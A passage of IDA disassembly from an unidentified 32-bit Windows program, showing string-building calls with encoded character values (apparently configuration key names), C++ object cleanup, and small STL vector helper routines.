		mov	byte ptr [esp+370h], 2Fh
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esi+0FA3h]
		mov	byte ptr [esp+388h], 30h
		push	ecx
		mov	ecx, esi
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+98h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		mov	byte ptr [esp+38Ch], 31h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+80h]
		push	13h
		push	edx
		call	sub_4019C4
		add	esp, 5Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 32h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	eax, [esi+0F5Ah]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 33h
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+0C8h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	18h
		push	9
		push	6
		push	5
		push	12h
		push	10h
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+90h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3DCh], 34h
		call	sub_4019C4
		add	esp, 6Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 35h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	edi, [esi+0E7Fh]
		mov	ecx, esi
		push	edi
		mov	byte ptr [esp+38Ch], 36h
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+218h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+88h]
		push	13h
		push	edx
		mov	byte ptr [esp+3D4h], 37h
		call	sub_4019C4
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 38h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	eax, [esi+0F11h]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 39h
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+44h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	0Ch
		push	13h
		push	13h
		mov	byte ptr [esp+380h], 3Ah
		push	3Fh
		push	5
		push	13h
		push	15h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+84h]
		push	13h
		push	ecx
		call	sub_4019C4
		add	esp, 60h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 3Bh
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	edx, [esi+107Eh]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 3Ch
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	eax, [esp+10h]
		mov	ecx, offset byte_4D834F
		push	eax
		mov	[esp+14h], edi
		call	sub_401A73
		lea	ecx, [esp+68h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	0Eh
		push	1
		push	8
		push	3
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+88h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3D4h], 3Dh
		call	sub_4019C4
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 3Eh
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	edx, [esi+1234h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 3Fh
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+0B0h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	0Eh
		push	1
		push	8
		push	3
		push	0Eh
		push	9
		push	1
		push	0Dh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+88h]
		push	13h
		push	eax
		mov	byte ptr [esp+3D4h], 40h
		call	sub_4019C4
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 41h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esi+127Dh]
		mov	byte ptr [esp+388h], 42h
		push	ecx
		mov	ecx, esi
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+1B8h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	14h
		push	12h
		push	0Fh
		push	10h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+78h]
		push	13h
		push	edx
		mov	byte ptr [esp+3C4h], 43h
		call	sub_4019C4
		add	esp, 54h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 44h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	eax, [esi+11EBh]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 45h
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+1E8h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+80h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3CCh], 46h
		call	sub_4019C4
		add	esp, 5Ch
		mov	byte ptr [esp+370h], 47h
		mov	ecx, eax
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	edx, [esi+11A2h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 48h
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+0C8h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	18h
		push	9
		push	6
		push	5
		push	12h
		push	10h
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+90h]
		push	13h
		push	eax
		mov	byte ptr [esp+3DCh], 49h
		call	sub_4019C4
		add	esp, 6Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 4Ah
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	edi, [esi+10C7h]
		mov	ecx, esi
		push	edi
		mov	byte ptr [esp+38Ch], 4Bh
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+1A0h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+88h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3D4h], 4Ch
		call	sub_4019C4
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 4Dh
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	edx, [esi+1159h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 4Eh
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+44h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	0Ch
		push	13h
		push	13h
		push	3Fh
		push	5
		push	13h
		push	15h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+84h]
		push	13h
		mov	byte ptr [esp+3CCh], 4Fh
		push	eax
		call	sub_4019C4
		add	esp, 60h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 50h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esi+12C6h]
		mov	byte ptr [esp+388h], 51h
		push	ecx
		mov	ecx, esi
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	edx, [esp+10h]
		mov	ecx, offset byte_4D834F
		push	edx
		mov	[esp+14h], edi
		call	sub_401A73
		push	offset byte_448F30
		push	offset word_4E8E5A
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+230h]
		call	sub_40142E
		lea	ecx, [esp+260h]
		mov	byte ptr [esp+358h], 52h
		call	sub_40142E
		push	56D2h
		push	539h
		mov	byte ptr [esp+360h], 53h
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	eax
		lea	eax, [esp+23Ch]
		push	offset dword_4447F4
		push	eax
		call	sub_40102D
		push	56D2h
		push	539h
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	eax
		lea	ecx, [esp+280h]
		push	offset dword_4447F4
		push	ecx
		call	sub_40102D
		add	esp, 10h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+606h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+64Fh]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+805h]
		push	eax
		mov	ecx, esi
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+84Eh]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+897h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+450h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+5Ch]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+499h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+52Bh]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+574h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+0B28h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+5Ch]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+8E0h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+278h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+3BEh]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+1E8h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+407h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+260h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+5BDh]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+188h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+698h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+158h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+72Ah]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+128h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+6E1h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+2C0h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+773h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+2A8h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+7BCh]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	offset word_4E8E5A
		call	sub_4014D3
		lea	ecx, [esi+251h]
		push	ecx
		mov	ecx, esi
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+1A0h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+29Ah]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+170h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+2E3h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+0F8h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+32Ch]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+248h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+375h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		push	0
		mov	ecx, offset byte_4D834F
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 16Dh
		call	sub_4017EE
		push	eax
		push	offset byte_4493ED
		mov	ecx, offset word_44ACD6
		call	sub_4015A0
		push	0
		mov	ecx, offset byte_4D834F
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 1B6h
		call	sub_4017EE
		push	eax
		push	offset dword_4493A4
		mov	ecx, offset word_44ACD6
		call	sub_4015A0
		push	0
		mov	ecx, offset byte_4D834F
		call	sub_401474
		mov	ecx, [eax]
		call	sub_4017EE
		push	eax
		push	offset dword_449280
		mov	ecx, offset word_44ACD6
		call	sub_4015A0
		push	0
		mov	ecx, offset byte_4D834F
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 124h
		call	sub_4017EE
		push	eax
		push	offset word_449312
		mov	ecx, offset word_44ACD6
		call	sub_4015A0
		push	0
		mov	ecx, offset byte_4D834F
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 0DBh
		call	sub_4017EE
		push	eax
		push	offset byte_4492C9
		mov	ecx, offset word_44ACD6
		call	sub_4015A0
		push	0
		mov	ecx, offset byte_4D834F
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 92h
		call	sub_4017EE
		push	eax
		push	offset byte_44935B
		mov	ecx, offset word_44ACD6
		call	sub_4015A0
		push	0
		mov	ecx, offset byte_4D834F
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 1FFh
		call	sub_4017EE
		push	eax
		push	offset byte_44947F
		mov	ecx, offset word_44ACD6
		call	sub_4015A0
		lea	ecx, [esp+200h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esp+290h]
		mov	byte ptr [esp+370h], 54h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+94h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esp+128h]
		mov	byte ptr [esp+388h], 55h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+0A4h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esp+170h]
		mov	byte ptr [esp+3A0h], 56h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+0C0h], esp
		push	eax
		call	sub_401870
		mov	ecx, offset word_44AC5E
		mov	byte ptr [esp+3B8h], 53h
		call	sub_40137F
; ---------------------------------------------------------------------------
		lea	ecx, [esp+260h]
		mov	byte ptr [esp+358h], 52h
		call	sub_401226
		lea	ecx, [esp+230h]
		mov	[esp+358h], bl
		call	sub_401226
		mov	byte ptr [esp+358h], 1Dh
		lea	ecx, [esp+44h]
		call	sub_401226
		lea	ecx, [esp+2Ch]
		mov	byte ptr [esp+358h], 1Ch
		call	sub_401226
		lea	ecx, [esp+110h]
		mov	byte ptr [esp+358h], 1Bh
		call	sub_401226
		lea	ecx, [esp+2C0h]
		mov	byte ptr [esp+358h], 1Ah
		call	sub_401226
		lea	ecx, [esp+2A8h]
		mov	byte ptr [esp+358h], 19h
		call	sub_401226
		lea	ecx, [esp+140h]
		mov	byte ptr [esp+358h], 18h
		call	sub_401226
		lea	ecx, [esp+290h]
		mov	byte ptr [esp+358h], 17h
		call	sub_401226
		lea	ecx, [esp+170h]
		mov	byte ptr [esp+358h], 16h
		call	sub_401226
		lea	ecx, [esp+0E0h]
		mov	byte ptr [esp+358h], 15h
		call	sub_401226
		lea	ecx, [esp+1A0h]
		mov	byte ptr [esp+358h], 14h
		call	sub_401226
		lea	ecx, [esp+218h]
		mov	byte ptr [esp+358h], 13h
		call	sub_401226
		lea	ecx, [esp+1D0h]
		mov	byte ptr [esp+358h], 12h
		call	sub_401226
		lea	ecx, [esp+248h]
		mov	byte ptr [esp+358h], 11h
		call	sub_401226
		lea	ecx, [esp+200h]
		mov	byte ptr [esp+358h], 10h
		call	sub_401226
		lea	ecx, [esp+278h]
		mov	byte ptr [esp+358h], 0Fh
		call	sub_401226
		lea	ecx, [esp+0F8h]
		mov	byte ptr [esp+358h], 0Eh
		call	sub_401226
		lea	ecx, [esp+128h]
		mov	byte ptr [esp+358h], 0Dh
		call	sub_401226
		lea	ecx, [esp+2F0h]
		mov	byte ptr [esp+358h], 0Ch
		call	sub_401226
		lea	ecx, [esp+320h]
		mov	byte ptr [esp+358h], 0Bh
		call	sub_401226
		lea	ecx, [esp+2D8h]
		mov	byte ptr [esp+358h], 0Ah
		call	sub_401226
		lea	ecx, [esp+308h]
		mov	byte ptr [esp+358h], 9
		call	sub_401226
		lea	ecx, [esp+338h]
		mov	byte ptr [esp+358h], 8
		call	sub_401226
		lea	ecx, [esp+0C8h]
		mov	byte ptr [esp+358h], 7
		call	sub_401226
		lea	ecx, [esp+158h]
		mov	byte ptr [esp+358h], 6
		call	sub_401226
		lea	ecx, [esp+188h]
		mov	byte ptr [esp+358h], 5
		call	sub_401226
		lea	ecx, [esp+68h]
		mov	byte ptr [esp+358h], 4
		call	sub_401226
		lea	ecx, [esp+0B0h]
		mov	byte ptr [esp+358h], 3
		call	sub_401226
		mov	byte ptr [esp+358h], 2
		lea	ecx, [esp+1B8h]
		call	sub_401226
		lea	ecx, [esp+1E8h]
		mov	byte ptr [esp+358h], 1
		call	sub_401226
		lea	ecx, [esp+80h]
		mov	byte ptr [esp+358h], 0
		call	sub_401226
		lea	ecx, [esp+98h]
		mov	dword ptr [esp+358h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+350h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 350h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 5E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409530	proc near		; CODE XREF: sub_401474j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		call	sub_401983
		mov	edi, [esp+8+arg_0]
		cmp	eax, edi
		ja	short loc_409548
		mov	ecx, esi
		call	sub_40191A
; ---------------------------------------------------------------------------


loc_409548:				; CODE XREF: sub_409530+Fj
		mov	ecx, esi
		call	sub_401A46
		lea	eax, [eax+edi*4]
		pop	edi
		pop	esi
		retn	4
sub_409530	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409570	proc near		; CODE XREF: sub_401A73j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40128A
		push	eax
		mov	ecx, esi
		call	sub_401695
		pop	esi
		retn	4
sub_409570	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4095A0	proc near		; CODE XREF: sub_401A46j
		mov	eax, [ecx+4]
		retn
sub_4095A0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4095C0	proc near		; CODE XREF: sub_40128Aj
		mov	eax, [ecx+8]
		retn
sub_4095C0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4095E0	proc near		; CODE XREF: sub_401983j
		mov	edx, [ecx+4]
		test	edx, edx
		jnz	short loc_4095EA
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4095EA:				; CODE XREF: sub_4095E0+5j
		mov	eax, [ecx+8]
		sub	eax, edx
		sar	eax, 2
		retn
sub_4095E0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409610	proc near		; CODE XREF: sub_401695j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, ecx
		call	sub_401A46
		mov	edx, [esp+8+arg_4]
		mov	ecx, eax
		mov	eax, [esp+8+arg_0]
		push	edx
		mov	esi, eax
		push	1
		sub	esi, ecx
		push	eax
		mov	ecx, edi
		sar	esi, 2
		call	sub_401BAE
		mov	ecx, edi
		call	sub_401A46
		lea	eax, [eax+esi*4]
		pop	edi
		pop	esi
		retn	8
sub_409610	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_409660	proc near		; CODE XREF: sub_40191Aj

var_40		= byte ptr -40h
var_39		= byte ptr -39h
var_38		= byte ptr -38h
var_34		= byte ptr -34h
var_30		= byte ptr -30h
var_C		= dword	ptr -0Ch

		push	0FFFFFFFFh
		push	offset SEH_409660
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		lea	eax, [esp+3Ch+var_39]
		lea	ecx, [esp+3Ch+var_38]
		push	eax
		push	offset aInvalidVectorT ; "invalid vector<T> subscript"
		nop
		call	near ptr 76081F67h
		lea	ecx, [esp+44h+var_40]
		mov	[esp+44h+var_C], 0
		push	ecx
		lea	ecx, [esp+48h+var_30]
		nop
		call	near ptr 760A0430h
		lea	edx, [esp+48h+var_34]
		push	offset dword_440088
		push	edx
		call	sub_437B22
sub_409660	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4096E0	proc near		; CODE XREF: sub_401BAEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esp+10h+arg_4]
		mov	eax, [esi+8]
		mov	ecx, [esi+0Ch]
		sub	ecx, eax
		sar	ecx, 2
		cmp	ecx, edi
		jnb	loc_4097AB
		mov	ecx, esi
		call	sub_401983
		cmp	edi, eax
		jnb	short loc_409713
		mov	ecx, esi
		call	sub_401983
		mov	ebp, eax
		jmp	short loc_409715
; ---------------------------------------------------------------------------


loc_409713:				; CODE XREF: sub_4096E0+26j
		mov	ebp, edi


loc_409715:				; CODE XREF: sub_4096E0+31j
		mov	ecx, esi
		call	sub_401983
		mov	ebx, eax
		push	0
		add	ebx, ebp
		mov	ecx, esi
		push	ebx
		call	sub_401CC1
; ---------------------------------------------------------------------------
		mov	edx, [esp+10h+arg_0]
		mov	ebp, eax
		mov	eax, [esi+4]
		push	ebp
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4016E0
		mov	ecx, [esp+10h+arg_8]
		mov	[esp+10h+arg_4], eax
		push	ecx
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_401177
		mov	edx, [esp+10h+arg_4]
		mov	ecx, [esi+8]
		lea	eax, [edx+edi*4]
		mov	edx, [esp+10h+arg_0]
		push	eax
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4016E0
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401717
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_401294
; ---------------------------------------------------------------------------
		lea	eax, [ebp+ebx*4+0]
		mov	ecx, esi
		mov	[esi+0Ch], eax
		call	sub_401983
		add	eax, edi
